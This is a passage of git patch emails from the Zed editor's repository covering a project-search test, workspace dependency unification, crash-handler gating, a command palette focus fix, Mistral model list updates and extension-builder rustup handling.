+        let fs = FakeFs::new(cx.background_executor.clone());
+        fs.insert_tree(
+            path!("/dir"),
+            json!({
+                "one.rs": "z.d\nzed\n",
+            }),
+        )
+        .await;
+        let project = Project::test(fs.clone(), [path!("/dir").as_ref()], cx).await;
+        let worktree_id = project.update(cx, |project, cx| {
+            project
+                .worktrees(cx)
+                .next()
+                .expect("project should have a worktree")
+                .read(cx)
+                .id()
+        });
+        let window =
+            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = window
+            .read_with(cx, |multi_workspace, _| multi_workspace.workspace().clone())
+            .expect("window should contain a workspace");
+        let mut cx = VisualTestContext::from_window(window.into(), cx);
+
+        let editor = workspace
+            .update_in(&mut cx, |workspace, window, cx| {
+                workspace.open_path((worktree_id, rel_path("one.rs")), None, true, window, cx)
+            })
+            .await
+            .expect("should open test file")
+            .downcast::<Editor>()
+            .expect("opened item should be an editor");
+        cx.run_until_parked();
+
+        editor.update_in(&mut cx, |editor, window, cx| {
+            editor.change_selections(SelectionEffects::no_scroll(), window, cx, |selections| {
+                selections.select_ranges([BufferPoint::new(0, 0)..BufferPoint::new(0, 3)])
+            });
+        });
+
+        workspace.update_in(&mut cx, |workspace, window, cx| {
+            ProjectSearchView::deploy_search(workspace, &DeploySearch::default(), window, cx)
+        });
+        cx.run_until_parked();
+
+        let project_search_view = workspace
+            .read_with(&cx, |workspace, cx| {
+                workspace
+                    .active_pane()
+                    .read(cx)
+                    .active_item()
+                    .and_then(|item| item.downcast::<ProjectSearchView>())
+            })
+            .expect("should open a project search view");
+        project_search_view.update(&mut cx, |search_view, cx| {
+            assert_eq!(search_view.search_query_text(cx), r"z\.d");
+            search_view.search(cx);
+        });
+        cx.run_until_parked();
+
+        project_search_view.update(&mut cx, |search_view, cx| {
+            assert_eq!(search_view.entity.read(cx).match_ranges.len(), 1);
+        });
+
+        workspace.update_in(&mut cx, |workspace, window, cx| {
+            ProjectSearchView::deploy_search(
+                workspace,
+                &DeploySearch {
+                    query: Some("z.d".into()),
+                    regex: Some(true),
+                    ..Default::default()
+                },
+                window,
+                cx,
+            )
+        });
+        project_search_view.update(&mut cx, |search_view, cx| {
+            assert_eq!(search_view.search_query_text(cx), "z.d");
+            search_view.search(cx);
+        });
+        cx.run_until_parked();
+
+        project_search_view.update(&mut cx, |search_view, cx| {
+            assert_eq!(search_view.entity.read(cx).match_ranges.len(), 2);
+        });
+    }
+
     #[perf]
     #[gpui::test]
     async fn test_buffer_search_query_reused(cx: &mut TestAppContext) {

From 2e2fb0a21811ce2dbaca5bb738b0be8f94de051e Mon Sep 17 00:00:00 2001
From: tidely <43219534+tidely@users.noreply.github.com>
Date: Tue, 21 Jul 2026 10:58:16 +0300
Subject: [PATCH 589/772] zed: Unify dependencies (#61381)

# Objective

Unify dependencies inside of the root `Cargo.toml` to prevent versions
from going out of sync and creating copies of dependencies.

## Testing

- All tests pass, nothing touches the `Cargo.lock`

## Review

Review is easiest by going through commit by commit.

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 Cargo.toml                     |  8 ++++++++
 crates/gpui/Cargo.toml         | 18 +++++++++---------
 crates/gpui_linux/Cargo.toml   |  4 ++--
 crates/gpui_macos/Cargo.toml   | 16 ++++++++--------
 crates/gpui_wgpu/Cargo.toml    |  4 ++--
 crates/gpui_windows/Cargo.toml |  2 +-
 crates/media/Cargo.toml        |  2 +-
 7 files changed, 31 insertions(+), 23 deletions(-)

diff --git a/Cargo.toml b/Cargo.toml
index 9d0b9da1826ef6..551596b61c2b08 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -555,12 +555,14 @@ aws-smithy-types = { version = "1.3.4", features = ["http-body-1-x"] }
 backtrace = "0.3"
 base64 = "0.22"
 bitflags = "2.6.0"
+block = "0.1"
 block2 = "0.6"
 brotli = "8.0.2"
 bytes = "1.0"
 cargo_metadata = "0.19"
 cargo_toml = "0.21"
 brush-parser = "0.3"
+cbindgen = { version = "0.28.0", default-features = false }
 cfg-if = "1.0.3"
 chardetng = "0.1"
 chrono = { version = "0.4", features = ["serde"] }
@@ -575,6 +577,8 @@ const_format = "0.2"
 convert_case = "0.11.0"
 core-foundation = "0.10"
 core-foundation-sys = "0.8.6"
+core-graphics = "0.24"
+core-text = "21"
 core-video = { version = "0.5.2", features = ["metal"] }
 cpal = "0.17"
 crash-handler = "0.7"
@@ -601,10 +605,12 @@ ec4rs = { version = "1.2", features = ["allow-empty-values"] }
 emojis = "0.6.1"
 env_logger = "0.11"
 encoding_rs = "0.8"
+etagere = "0.2"
 exec = "0.3.1"
 fancy-regex = "0.18.0"
 fork = "0.4.0"
 flume = "0.12"
+foreign-types = "0.5"
 futures = "0.3.32"
 futures-concurrency = "7.7.1"
 futures-lite = "1.13"
@@ -717,6 +723,7 @@ palette = { version = "0.7.5", default-features = false, features = ["std"] }
 parking_lot = "0.12.1"
 partial-json-fixer = "0.5.3"
 parse_int = "0.9"
+pathfinder_geometry = "0.5"
 pciid-parser = "0.8.0"
 pathdiff = "0.2"
 percent-encoding = "2.3.2"
@@ -798,6 +805,7 @@ stacksafe = "0.1"
 streaming-iterator = "0.1"
 strsim = "0.11"
 strum = { version = "0.27.2", features = ["derive"] }
+swash = "0.2.6"
 syn = { version = "2.0.101", features = ["full", "extra-traits", "visit-mut"] }
 sys-locale = "0.3.1"
 sysinfo = "0.37.0"
diff --git a/crates/gpui/Cargo.toml b/crates/gpui/Cargo.toml
index 8fd4a7c7639a74..e8d1b657d05c26 100644
--- a/crates/gpui/Cargo.toml
+++ b/crates/gpui/Cargo.toml
@@ -47,7 +47,7 @@ doctest = false
 [dependencies]
 accesskit.workspace = true
 anyhow.workspace = true
-async-task = "4.7"
+async-task.workspace = true
 backtrace = { workspace = true, optional = true }
 bitflags.workspace = true
 
@@ -55,7 +55,7 @@ collections.workspace = true
 criterion = { workspace = true, optional = true }
 ctor.workspace = true
 derive_more.workspace = true
-etagere = "0.2"
+etagere.workspace = true
 futures.workspace = true
 futures-concurrency.workspace = true
 gpui_macros.workspace = true
@@ -111,17 +111,17 @@ uuid = { workspace = true, features = ["js"] }
 
 
 [target.'cfg(target_os = "macos")'.dependencies]
-block = "0.1"
+block.workspace = true
 cocoa.workspace = true
 cocoa-foundation.workspace = true
 core-foundation.workspace = true
 core-foundation-sys.workspace = true
-core-graphics = "0.24"
+core-graphics.workspace = true
 core-video.workspace = true
-core-text = "21"
+core-text.workspace = true
 # WARNING: If you change this, you must also publish a new version of zed-font-kit to crates.io
 font-kit = { git = "https://github.com/zed-industries/font-kit", rev = "94b0f28166665e8fd2f53ff6d268a14955c82269", package = "zed-font-kit", version = "0.14.1-zed", optional = true }
-foreign-types = "0.5"
+foreign-types.workspace = true
 log.workspace = true
 media.workspace = true
 objc.workspace = true
@@ -132,7 +132,7 @@ mach2.workspace = true
 metal.workspace = true
 
 [target.'cfg(any(target_os = "linux", target_os = "freebsd", target_os = "macos"))'.dependencies]
-pathfinder_geometry = "0.5"
+pathfinder_geometry.workspace = true
 
 [target.'cfg(any(target_os = "linux", target_os = "freebsd", target_os = "windows"))'.dependencies]
 scap = { workspace = true, optional = true }
@@ -140,7 +140,7 @@ scap = { workspace = true, optional = true }
 
 
 [target.'cfg(target_os = "windows")'.dependencies]
-windows = { version = "0.61", features = ["Win32_Foundation", "Win32_System_Power"] }
+windows = { workspace = true, features = ["Win32_Foundation", "Win32_System_Power"] }
 
 
 [dev-dependencies]
@@ -168,7 +168,7 @@ embed-resource = { version = "3.0", optional = true }
 
 [target.'cfg(target_os = "macos")'.build-dependencies]
 bindgen = "0.71"
-cbindgen = { version = "0.28.0", default-features = false }
+cbindgen.workspace = true
 
 
 
diff --git a/crates/gpui_linux/Cargo.toml b/crates/gpui_linux/Cargo.toml
index 44884414c0c0b6..9d7360c81683df 100644
--- a/crates/gpui_linux/Cargo.toml
+++ b/crates/gpui_linux/Cargo.toml
@@ -66,7 +66,7 @@ itertools.workspace = true
 libc.workspace = true
 log.workspace = true
 parking_lot.workspace = true
-pathfinder_geometry = "0.5"
+pathfinder_geometry.workspace = true
 pollster.workspace = true
 profiling.workspace = true
 smallvec.workspace = true
@@ -86,7 +86,7 @@ raw-window-handle.workspace = true
 
 # Used in both windowing options
 ashpd = { workspace = true, optional = true }
-swash = { version = "0.2.6" }
+swash.workspace = true
 bitflags = { workspace = true, optional = true }
 filedescriptor = { version = "0.8.2", optional = true }
 open = { version = "5.2.0", optional = true }
diff --git a/crates/gpui_macos/Cargo.toml b/crates/gpui_macos/Cargo.toml
index 610d65a71f4e7c..5e0dbf57805147 100644
--- a/crates/gpui_macos/Cargo.toml
+++ b/crates/gpui_macos/Cargo.toml
@@ -25,23 +25,23 @@ gpui.workspace = true
 accesskit.workspace = true
 accesskit_macos.workspace = true
 anyhow.workspace = true
-async-task = "4.7"
-block = "0.1"
+async-task.workspace = true
+block.workspace = true
 block2.workspace = true
 cocoa.workspace = true
 collections.workspace = true
 core-foundation.workspace = true
 core-foundation-sys.workspace = true
-core-graphics = "0.24"
-core-text = "21"
+core-graphics.workspace = true
+core-text.workspace = true
 core-video.workspace = true
 ctor.workspace = true
 derive_more.workspace = true
 dispatch2 = "0.3.1"
-etagere = "0.2"
+etagere.workspace = true
 # WARNING: If you change this, you must also publish a new version of zed-font-kit to crates.io
 font-kit = { git = "https://github.com/zed-industries/font-kit", rev = "94b0f28166665e8fd2f53ff6d268a14955c82269", package = "zed-font-kit", version = "0.14.1-zed", optional = true }
-foreign-types = "0.5"
+foreign-types.workspace = true
 futures.workspace = true
 gpui_util.workspace = true
 image.workspace = true
@@ -57,7 +57,7 @@ objc2-app-kit.workspace = true
 objc2-foundation.workspace = true
 objc2-user-notifications.workspace = true
 parking_lot.workspace = true
-pathfinder_geometry = "0.5"
+pathfinder_geometry.workspace = true
 raw-window-handle.workspace = true
 semver.workspace = true
 smallvec.workspace = true
@@ -65,7 +65,7 @@ strum.workspace = true
 uuid.workspace = true
 
 [target.'cfg(target_os = "macos")'.build-dependencies]
-cbindgen = { version = "0.28.0", default-features = false }
+cbindgen.workspace = true
 gpui.workspace = true
 
 # When this crate is itself being tested (cargo test -p gpui_macos), its own
diff --git a/crates/gpui_wgpu/Cargo.toml b/crates/gpui_wgpu/Cargo.toml
index 181b3588b4bbd5..c2eb51f9f13149 100644
--- a/crates/gpui_wgpu/Cargo.toml
+++ b/crates/gpui_wgpu/Cargo.toml
@@ -21,14 +21,14 @@ anyhow.workspace = true
 bytemuck = "1"
 collections.workspace = true
 cosmic-text = "0.19.0"
-etagere = "0.2"
+etagere.workspace = true
 itertools.workspace = true
 log.workspace = true
 parking_lot.workspace = true
 profiling.workspace = true
 raw-window-handle.workspace = true
 smallvec.workspace = true
-swash = "0.2.6"
+swash.workspace = true
 unicode-segmentation.workspace = true
 gpui_util.workspace = true
 wgpu.workspace = true
diff --git a/crates/gpui_windows/Cargo.toml b/crates/gpui_windows/Cargo.toml
index 0715cbc78ae1bf..2baa3c7b172078 100644
--- a/crates/gpui_windows/Cargo.toml
+++ b/crates/gpui_windows/Cargo.toml
@@ -25,7 +25,7 @@ accesskit_windows.workspace = true
 anyhow.workspace = true
 collections.workspace = true
 dunce.workspace = true
-etagere = "0.2"
+etagere.workspace = true
 futures.workspace = true
 gpui_util.workspace = true
 image.workspace = true
diff --git a/crates/media/Cargo.toml b/crates/media/Cargo.toml
index 90a3d938333d66..7dcf7e356edb67 100644
--- a/crates/media/Cargo.toml
+++ b/crates/media/Cargo.toml
@@ -19,7 +19,7 @@ anyhow.workspace = true
 [target.'cfg(target_os = "macos")'.dependencies]
 core-foundation.workspace = true
 ctor.workspace = true
-foreign-types = "0.5"
+foreign-types.workspace = true
 metal.workspace = true
 core-video.workspace = true
 objc.workspace = true

From e8bfce7614b88f2ec32bd8fae4d8ae08e6f3834d Mon Sep 17 00:00:00 2001
From: Jakub Konka <kubkon@jakubkonka.com>
Date: Tue, 21 Jul 2026 10:16:15 +0200
Subject: [PATCH 590/772] Only install crash handler when a minidump endpoint
 is configured (#61384)

Closes FR-130

Builds compiled from source at a release tag report a non-dev release
channel, so they used to install the crash handler and write minidumps
into the shared logs directory. An official Zed launched later would
find and upload those dumps to Sentry, where they can never be
symbolicated (their debug UUID matches no uploaded debug files).

Gate the crash handler on having somewhere to send the dumps: either the
compile-time ZED_MINIDUMP_ENDPOINT baked into official builds, the
runtime ZED_MINIDUMP_ENDPOINT override, or an explicit
ZED_GENERATE_MINIDUMPS opt-in for debugging the crash pipeline locally.

Release Notes:

- N/A
---
 crates/client/src/telemetry.rs     |  7 +++++++
 crates/remote_server/src/server.rs | 13 ++++---------
 crates/zed/src/main.rs             |  7 ++-----
 3 files changed, 13 insertions(+), 14 deletions(-)

diff --git a/crates/client/src/telemetry.rs b/crates/client/src/telemetry.rs
index 771a0f56052e46..a08dfb44bd6098 100644
--- a/crates/client/src/telemetry.rs
+++ b/crates/client/src/telemetry.rs
@@ -95,6 +95,13 @@ pub static MINIDUMP_ENDPOINT: LazyLock<Option<String>> = LazyLock::new(|| {
         .or_else(|| env::var("ZED_MINIDUMP_ENDPOINT").ok())
 });
 
+pub fn should_install_crash_handler(channel: ReleaseChannel) -> bool {
+    matches!(
+        env::var("ZED_GENERATE_MINIDUMPS").as_deref(),
+        Ok("true" | "1")
+    ) || (channel != ReleaseChannel::Dev && MINIDUMP_ENDPOINT.is_some())
+}
+
 static DOTNET_PROJECT_FILES_REGEX: LazyLock<Regex> = LazyLock::new(|| {
     Regex::new(r"^(global\.json|Directory\.Build\.props|.*\.(csproj|fsproj|vbproj|sln))$").unwrap()
 });
diff --git a/crates/remote_server/src/server.rs b/crates/remote_server/src/server.rs
index e00c9173bbf174..ffbea71cfe1a32 100644
--- a/crates/remote_server/src/server.rs
+++ b/crates/remote_server/src/server.rs
@@ -47,7 +47,6 @@ use smol::{
     stream::StreamExt as _,
 };
 use std::{
-    env,
     ffi::OsStr,
     fs::File,
     io::Write,
@@ -571,10 +570,8 @@ pub fn execute_run(
     let app = gpui_platform::headless();
     let pid = std::process::id();
     let id = pid.to_string();
-    let should_install_crash_handler = matches!(
-        env::var("ZED_GENERATE_MINIDUMPS").as_deref(),
-        Ok("true" | "1")
-    ) || *RELEASE_CHANNEL != ReleaseChannel::Dev;
+    let should_install_crash_handler =
+        client::telemetry::should_install_crash_handler(*RELEASE_CHANNEL);
 
     let crash_handler = if should_install_crash_handler {
         Some(app.background_executor().spawn(crashes::init(
@@ -851,10 +848,8 @@ pub(crate) fn execute_proxy(
     let server_paths = ServerPaths::new(&identifier)?;
 
     let id = std::process::id().to_string();
-    let should_install_crash_handler = matches!(
-        env::var("ZED_GENERATE_MINIDUMPS").as_deref(),
-        Ok("true" | "1")
-    ) || *RELEASE_CHANNEL != ReleaseChannel::Dev;
+    let should_install_crash_handler =
+        client::telemetry::should_install_crash_handler(*RELEASE_CHANNEL);
 
     if should_install_crash_handler {
         smol::spawn(crashes::init(
diff --git a/crates/zed/src/main.rs b/crates/zed/src/main.rs
index f640d204a656cf..0c161e2e562f32 100644
--- a/crates/zed/src/main.rs
+++ b/crates/zed/src/main.rs
@@ -382,11 +382,8 @@ fn main() {
         return;
     }
 
-    let should_install_crash_handler = matches!(
-        env::var("ZED_GENERATE_MINIDUMPS").as_deref(),
-        Ok("true" | "1")
-    ) || *release_channel::RELEASE_CHANNEL
-        != ReleaseChannel::Dev;
+    let should_install_crash_handler =
+        client::telemetry::should_install_crash_handler(*release_channel::RELEASE_CHANNEL);
 
     let crash_handler = if should_install_crash_handler {
         Some(

From 250022469dd5cf88792bf8e62b82442ddf15d400 Mon Sep 17 00:00:00 2001
From: prayansh_chhablani <135210710+prayanshchh@users.noreply.github.com>
Date: Tue, 21 Jul 2026 14:43:56 +0530
Subject: [PATCH 591/772] Fix reopening and interacting with the command
 palette when its submenu is already open closing the palette (#54243)

Closes #10045

follow repro steps:
1. Open the command palette cmd-shift-p.
2. Locate and click language selector: toggle.
3. cmd-shift-p.
4. Click language selector: toggle.
5. Notice that the command palette is closed.

When the command palette is reopened on top of the already-open language
selector, the palette captures previous_focus_handle before the old
modal is hidden. In that case, previous_focus_handle refers to the
language selector picker, which is the correct previous focus at that
moment. The problem is that this modal is immediately dismissed (as the
language toggle gets hidden and command palette is shown in 3rd step)
and no longer exists by the time the selected command is confirmed.

Fix
Updated CommandPalette::toggle so that if another modal is already open,
it is dismissed first. Only after that dismissal completes does the
command palette capture window.focused(cx) as its previous_focus_handle.

This means the command palette now stores the real pre-palette focus
target, such as the editor or workspace, instead of storing focus from a
modal that is about to be removed.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

Release Notes:

- N/A or Added/Fixed/Improved ...

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 crates/command_palette/src/command_palette.rs | 31 +++++++++++++++++++
 1 file changed, 31 insertions(+)

diff --git a/crates/command_palette/src/command_palette.rs b/crates/command_palette/src/command_palette.rs
index e1eddf01c282ce..42236ea0a983c8 100644
--- a/crates/command_palette/src/command_palette.rs
+++ b/crates/command_palette/src/command_palette.rs
@@ -83,6 +83,15 @@ impl CommandPalette {
         window: &mut Window,
         cx: &mut Context<Workspace>,
     ) {
+        if workspace.active_modal::<CommandPalette>(cx).is_some() {
+            workspace.hide_modal(window, cx);
+            return;
+        }
+
+        if workspace.has_active_modal(window, cx) && !workspace.hide_modal(window, cx) {
+            return;
+        }
+
         let Some(previous_focus_handle) = window.focused(cx) else {
             return;
         };
@@ -1031,6 +1040,28 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn test_reopen_command_palette_over_another_modal(cx: &mut TestAppContext) {
+        let app_state = init_test(cx);
+        let project = Project::test(app_state.fs.clone(), [], cx).await;
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace =
+            multi_workspace.read_with(cx, |multi_workspace, _| multi_workspace.workspace().clone());
+
+        cx.simulate_keystrokes("cmd-n");
+
+        for _ in 0..2 {
+            cx.simulate_keystrokes("cmd-shift-p");
+            cx.simulate_input("go to line: Toggle");
+            cx.simulate_keystrokes("enter");
+
+            workspace.update(cx, |workspace, cx| {
+                assert!(workspace.active_modal::<GoToLine>(cx).is_some());
+            });
+        }
+    }
+
     fn init_test(cx: &mut TestAppContext) -> Arc<AppState> {
         cx.update(|cx| {
             let app_state = AppState::test(cx);

From 33a29660b3879186efa8712e556148bb2451057d Mon Sep 17 00:00:00 2001
From: Gabriel Linder <linder.gabriel@gmail.com>
Date: Tue, 21 Jul 2026 11:41:32 +0200
Subject: [PATCH 592/772] Update Mistral provider models (#60898)

# Objective

- Update Mistral models according to their
[documentation](https://docs.mistral.ai/models/overview).

## Solution

- Remove deprecated models
- Update Mistral Medium to 3.5

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

---

Release Notes:

- Remove deprecated Mistral models and update to Mistral Medium 3.5

Signed-off-by: Gabriel Linder <linder.gabriel@gmail.com>
---
 crates/mistral/src/mistral.rs | 31 +++----------------------------
 1 file changed, 3 insertions(+), 28 deletions(-)

diff --git a/crates/mistral/src/mistral.rs b/crates/mistral/src/mistral.rs
index c0bcfcf4e49345..c6e6007186af7e 100644
--- a/crates/mistral/src/mistral.rs
+++ b/crates/mistral/src/mistral.rs
@@ -59,15 +59,6 @@ pub enum Model {
     #[serde(rename = "mistral-small-latest", alias = "mistral-small-latest")]
     MistralSmallLatest,
 
-    #[serde(rename = "magistral-medium-latest", alias = "magistral-medium-latest")]
-    MagistralMediumLatest,
-
-    #[serde(rename = "open-mistral-nemo", alias = "open-mistral-nemo")]
-    OpenMistralNemo,
-
-    #[serde(rename = "devstral-medium-latest", alias = "devstral-medium-latest")]
-    DevstralMediumLatest,
-
     #[serde(rename = "ministral-3b-latest", alias = "ministral-3b-latest")]
     Ministral3bLatest,
     #[serde(rename = "ministral-8b-latest", alias = "ministral-8b-latest")]
@@ -100,9 +91,6 @@ impl Model {
             "mistral-large-latest" => Ok(Self::MistralLargeLatest),
             "mistral-medium-latest" => Ok(Self::MistralMediumLatest),
             "mistral-small-latest" => Ok(Self::MistralSmallLatest),
-            "magistral-medium-latest" => Ok(Self::MagistralMediumLatest),
-            "open-mistral-nemo" => Ok(Self::OpenMistralNemo),
-            "devstral-medium-latest" => Ok(Self::DevstralMediumLatest),
             invalid_id => anyhow::bail!("invalid model id '{invalid_id}'"),
         }
     }
@@ -113,9 +101,6 @@ impl Model {
             Self::MistralLargeLatest => "mistral-large-latest",
             Self::MistralMediumLatest => "mistral-medium-latest",
             Self::MistralSmallLatest => "mistral-small-latest",
-            Self::MagistralMediumLatest => "magistral-medium-latest",
-            Self::OpenMistralNemo => "open-mistral-nemo",
-            Self::DevstralMediumLatest => "devstral-medium-latest",
             Self::Ministral3bLatest => "ministral-3b-latest",
             Self::Ministral8bLatest => "ministral-8b-latest",
             Self::Ministral14bLatest => "ministral-14b-latest",
@@ -129,9 +114,6 @@ impl Model {
             Self::MistralLargeLatest => "mistral-large-latest",
             Self::MistralMediumLatest => "mistral-medium-latest",
             Self::MistralSmallLatest => "mistral-small-latest",
-            Self::MagistralMediumLatest => "magistral-medium-latest",
-            Self::OpenMistralNemo => "open-mistral-nemo",
-            Self::DevstralMediumLatest => "devstral-medium-latest",
             Self::Ministral3bLatest => "ministral-3b-latest",
             Self::Ministral8bLatest => "ministral-8b-latest",
             Self::Ministral14bLatest => "ministral-14b-latest",
@@ -145,11 +127,8 @@ impl Model {
         match self {
             Self::CodestralLatest => 128000,
             Self::MistralLargeLatest => 256000,
-            Self::MistralMediumLatest => 128000,
+            Self::MistralMediumLatest => 256000,
             Self::MistralSmallLatest => 256000,
-            Self::MagistralMediumLatest => 128000,
-            Self::OpenMistralNemo => 128000,
-            Self::DevstralMediumLatest => 256000,
             Self::Ministral3bLatest => 256000,
             Self::Ministral8bLatest => 256000,
             Self::Ministral14bLatest => 256000,
@@ -172,9 +151,6 @@ impl Model {
             | Self::MistralLargeLatest
             | Self::MistralMediumLatest
             | Self::MistralSmallLatest
-            | Self::MagistralMediumLatest
-            | Self::OpenMistralNemo
-            | Self::DevstralMediumLatest
             | Self::Ministral3bLatest
             | Self::Ministral8bLatest
             | Self::Ministral14bLatest => true,
@@ -187,11 +163,10 @@ impl Model {
             Self::MistralLargeLatest
             | Self::MistralMediumLatest
             | Self::MistralSmallLatest
-            | Self::MagistralMediumLatest
             | Self::Ministral3bLatest
             | Self::Ministral8bLatest
             | Self::Ministral14bLatest => true,
-            Self::CodestralLatest | Self::OpenMistralNemo | Self::DevstralMediumLatest => false,
+            Self::CodestralLatest => false,
             Self::Custom {
                 supports_images, ..
             } => supports_images.unwrap_or(false),
@@ -200,7 +175,7 @@ impl Model {
 
     pub fn supports_thinking(&self) -> bool {
         match self {
-            Self::MagistralMediumLatest => true,
+            Self::MistralMediumLatest => true,
             Self::Custom {
                 supports_thinking, ..
             } => supports_thinking.unwrap_or(false),

From 2620c2acc1d833401edffab8d5fe37948d1d88f5 Mon Sep 17 00:00:00 2001
From: Karol Broda <122811026+karol-broda@users.noreply.github.com>
Date: Tue, 21 Jul 2026 12:42:39 +0200
Subject: [PATCH 593/772] extension: Check for rustup before calling it
 (#56090)

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #42353

Release Notes:

- Fixed extension building failing on systems where Rust is installed
without rustup (e.g., NixOS, distro packages)

---------

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 Cargo.lock                                   |  1 +
 crates/extension/Cargo.toml                  |  1 +
 crates/extension/src/extension_builder.rs    | 41 ++++++++++++++++----
 docs/src/extensions/developing-extensions.md |  4 +-
 4 files changed, 38 insertions(+), 9 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 747170fd5f20b4..03b609350fe2ab 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -6333,6 +6333,7 @@ dependencies = [
  "util",
  "wasm-encoder 0.252.0",
  "wasmparser 0.252.0",
+ "which 6.0.3",
  "ztracing",
 ]
 
diff --git a/crates/extension/Cargo.toml b/crates/extension/Cargo.toml
index 55af1f4007a473..776e84490cbae1 100644
--- a/crates/extension/Cargo.toml
+++ b/crates/extension/Cargo.toml
@@ -38,6 +38,7 @@ url.workspace = true
 util.workspace = true
 wasm-encoder.workspace = true
 wasmparser.workspace = true
+which.workspace = true
 ztracing.workspace = true
 
 [dev-dependencies]
diff --git a/crates/extension/src/extension_builder.rs b/crates/extension/src/extension_builder.rs
index 03583f86a248c0..3049a785ff322f 100644
--- a/crates/extension/src/extension_builder.rs
+++ b/crates/extension/src/extension_builder.rs
@@ -447,23 +447,31 @@ impl ExtensionBuilder {
 
     async fn install_rust_wasm_target_if_needed(&self) -> Result<()> {
         let rustc_output = util::command::new_command("rustc")
-            .arg("--print")
-            .arg("sysroot")
+            .args(["--print", "target-libdir", "--target", RUST_TARGET])
             .output()
             .await
             .context("failed to run rustc")?;
         if !rustc_output.status.success() {
             bail!(
-                "failed to retrieve rust sysroot: {}",
+                "failed to retrieve the `{RUST_TARGET}` target libdir: {}",
                 String::from_utf8_lossy(&rustc_output.stderr)
             );
         }
 
-        let sysroot = PathBuf::from(String::from_utf8(rustc_output.stdout)?.trim());
-        if sysroot.join("lib/rustlib").join(RUST_TARGET).exists() {
+        let target_libdir = PathBuf::from(String::from_utf8(rustc_output.stdout)?.trim());
+        if target_libdir.exists() {
             return Ok(());
         }
 
+        if which::which("rustup").is_err() {
+            bail!(
+                "the `{RUST_TARGET}` target is not installed, and `rustup` is not available to \
+                 install it. Add the target to your Rust toolchain (e.g. `targets = \
+                 [\"{RUST_TARGET}\"]` for Nix rust-overlay/fenix toolchains) or install it via \
+                 your package manager"
+            );
+        }
+
         let output = util::command::new_command("rustup")
             .args(["target", "add", RUST_TARGET])
             .stderr(Stdio::piped())
@@ -474,7 +482,7 @@ impl ExtensionBuilder {
         if !output.status.success() {
             bail!(
                 "failed to install the `{RUST_TARGET}` target: {}",
-                String::from_utf8_lossy(&rustc_output.stderr)
+                String::from_utf8_lossy(&output.stderr)
             );
         }
 
@@ -482,6 +490,18 @@ impl ExtensionBuilder {
     }
 
     async fn install_wasi_sdk_if_needed(&self) -> Result<PathBuf> {
+        if let Some(sdk_path) = env::var_os("WASI_SDK_PATH").filter(|path| !path.is_empty()) {
+            let sdk_path = PathBuf::from(sdk_path);
+            let clang_path = wasi_sdk_clang_path(&sdk_path);
+            if fs::metadata(&clang_path).is_ok_and(|metadata| metadata.is_file()) {
+                log::info!("using wasi-sdk from WASI_SDK_PATH: {sdk_path:?}");
+                return Ok(clang_path);
+            }
+            log::warn!(
+                "WASI_SDK_PATH is set to {sdk_path:?} but clang was not found at {clang_path:?}, falling back to download"
+            );
+        }
+
         let url = if let Some(asset_name) = WASI_SDK_ASSET_NAME {
             format!("{WASI_SDK_URL}{asset_name}")
         } else {
@@ -489,8 +509,7 @@ impl ExtensionBuilder {
         };
 
         let wasi_sdk_dir = self.cache_dir.join("wasi-sdk");
-        let mut clang_path = wasi_sdk_dir.clone();
-        clang_path.extend(["bin", &format!("clang{}", env::consts::EXE_SUFFIX)]);
+        let clang_path = wasi_sdk_clang_path(&wasi_sdk_dir);
 
         log::info!("downloading wasi-sdk to {}", wasi_sdk_dir.display());
 
@@ -776,6 +795,12 @@ fn file_newer_than_deps(target: &Path, dependencies: &[&Path]) -> Result<bool, s
     Ok(true)
 }
 
+fn wasi_sdk_clang_path(wasi_sdk_dir: &Path) -> PathBuf {
+    let mut clang_path = wasi_sdk_dir.to_path_buf();
+    clang_path.extend(["bin", &format!("clang{}", env::consts::EXE_SUFFIX)]);
+    clang_path
+}
+
 #[cfg(test)]
 mod tests {
     use std::{
diff --git a/docs/src/extensions/developing-extensions.md b/docs/src/extensions/developing-extensions.md
index 13dfa2a4aaf772..1e147f5db1a5c3 100644
--- a/docs/src/extensions/developing-extensions.md
+++ b/docs/src/extensions/developing-extensions.md
@@ -22,7 +22,9 @@ Extensions can provide:
 
 Before starting to develop an extension for Zed, be sure to [install Rust via rustup](https://www.rust-lang.org/tools/install).
 
-> Rust must be installed via rustup. If you have Rust installed via homebrew or otherwise, installing dev extensions will not work.
+> Zed uses the `wasm32-wasip2` Rust target to compile extensions. If Rust is installed via rustup, Zed will install the target automatically. If Rust is installed another way (e.g., via Homebrew or Nix), you must make the `wasm32-wasip2` target available yourself — for example, by adding it to the `targets` of a Nix rust-overlay or fenix toolchain.
+
+Extensions that provide grammars additionally require the [wasi-sdk](https://github.com/WebAssembly/wasi-sdk) to compile Tree-sitter parsers. Zed downloads it automatically, but you can point Zed at an existing installation by setting the `WASI_SDK_PATH` environment variable to its root directory (the one containing `bin/clang`).
 
 When developing an extension, you can use it in Zed without needing to publish it by installing it as a _dev extension_.
 

